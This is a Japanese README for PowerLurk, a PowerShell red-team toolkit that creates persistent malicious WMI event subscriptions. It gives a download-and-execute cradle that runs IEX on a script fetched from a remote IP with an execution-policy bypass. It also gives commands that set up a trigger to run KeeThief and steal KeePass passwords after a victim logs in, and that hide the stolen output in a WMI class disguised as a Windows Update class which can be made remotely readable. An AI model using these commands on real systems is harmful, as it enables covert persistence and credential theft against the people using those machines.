
PowerShellを使用した悪意のあるWMIイベント
PowerLurkは、悪意のあるWMIイベントサブスクリプションを構築するためのPowerShellツールセットです。ペネトレーションテストやレッドチーム演習中にWMIイベントをより簡単に発火させることを目的としています。詳細については、私の投稿 Creeping on Users with WMI Events: Introducing PowerLurk を参照してください: https://pentestarmoury.com/2016/07/13/151/
PowerLurkを使用するには、PowerLurk.ps1モジュールをPowerShellのインスタンスにインポートする必要があります。これにはいくつかの方法があります:
ローカルインポート
PS> powershell.exe -NoP -Exec ByPass -C Import-Module c:\\temp\\PowerLurk.ps1
ダウンロードクラドル
PS> powershell.exe -NoP -C "IEX (New-Object Net.WebClient).DownloadString('http://<IP>/PowerLurk.ps1'); Get-WmiEvent"
デフォルトでは、Get-WmiEventはWMIにクエリを実行し、すべての__FilterToConsumerBindingインスタンスと関連する__EventFilter、__EventConsumerインスタンスを取得します。戻されたオブジェクトはパイプラインでRemove-WmiObjectに渡すことで削除できます。
名前が'RedTeamEvent'のアクティブなWMIイベントオブジェクトをすべて返す
Get-WmiEvent -Name RedTeamEvent
Twitter - @sw4mp_fox 'RedTeamEvent' WMIイベントオブジェクトを削除
Get-WmiEvent -Name RedTeamEvent | Remove-WmiObject
このコマンドレットはPowerLurkの中核です。アクションとしてコマンド、スクリプト、またはスクリプトブロックを受け取り、プリキャンドトリガーを使用して、完全に機能する永続的なWMIイベントサブスクリプションに必要なWMIフィルター、コンシューマー、FilterToConsumerBindingを作成します。多くのWMIイベントトリガー(フィルター)があらかじめ設定されています。トリガーは-Triggerパラメーターで指定する必要があります。選択可能なコンシューマーは3つあります: PermanentCommand、PermanentScript、LocalScriptBLock。使用例:
notepad.exeが起動するたびにプロセスIDをC:\temp\log.txtに書き込む
Register-MaliciousWmiEvent -EventName LogNotepad -PermanentCommand “cmd.exe /c echo %ProcessId% >> c:\\temp\\log.txt” -Trigger ProcessStart -ProcessName notepad.exe
悪意のあるWMIイベントをクリーンアップ
Get-WmiEvent -Name LogNotepad | Remove-WmiObject
'keepass'プロセスが開始されてから4分後にKeeThief(@Harmj0yのKeeThief: https://github.com/adaptivethreat/KeeThief を参照)を実行する永続的なWMIイベントを作成します。これにより、ターゲットがKeePassデータベースにログインする時間が確保されます。
KeeThiefのロジックとその出力は、カスタムWMI名前空間とクラス、またはレジストリ値のいずれかに保存されます。カスタムWMI名前空間とクラスが選択された場合、その名前空間を「Everyone」がリモートで読み取れるように公開するオプションがあります。レジストリパスと値の名前は、関連するスイッチを使用してカスタマイズできます。ただし、デフォルトが設定されているため、これはオプションです。使用例:
WMIクラスストレージを使用してKeeThiefLurkerイベントを追加
Add-KeeThiefLurker -EventName KeeThief -WMI
カスタムWMIクラスをクエリ
Get-WmiObject -Namespace root\software win32_WindowsUpdate -List
WMIクラスからKeeThiefの出力を抽出
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($(Get-WmiObject -Namespace root\software win32_WindowsUpdate -List).Properties['Output'].value))
KeeThiefLurkerをクリーンアップ
Remove-KeeThiefLurker -EventName KeeThief -WMI
Twitter - @sw4mp_f0x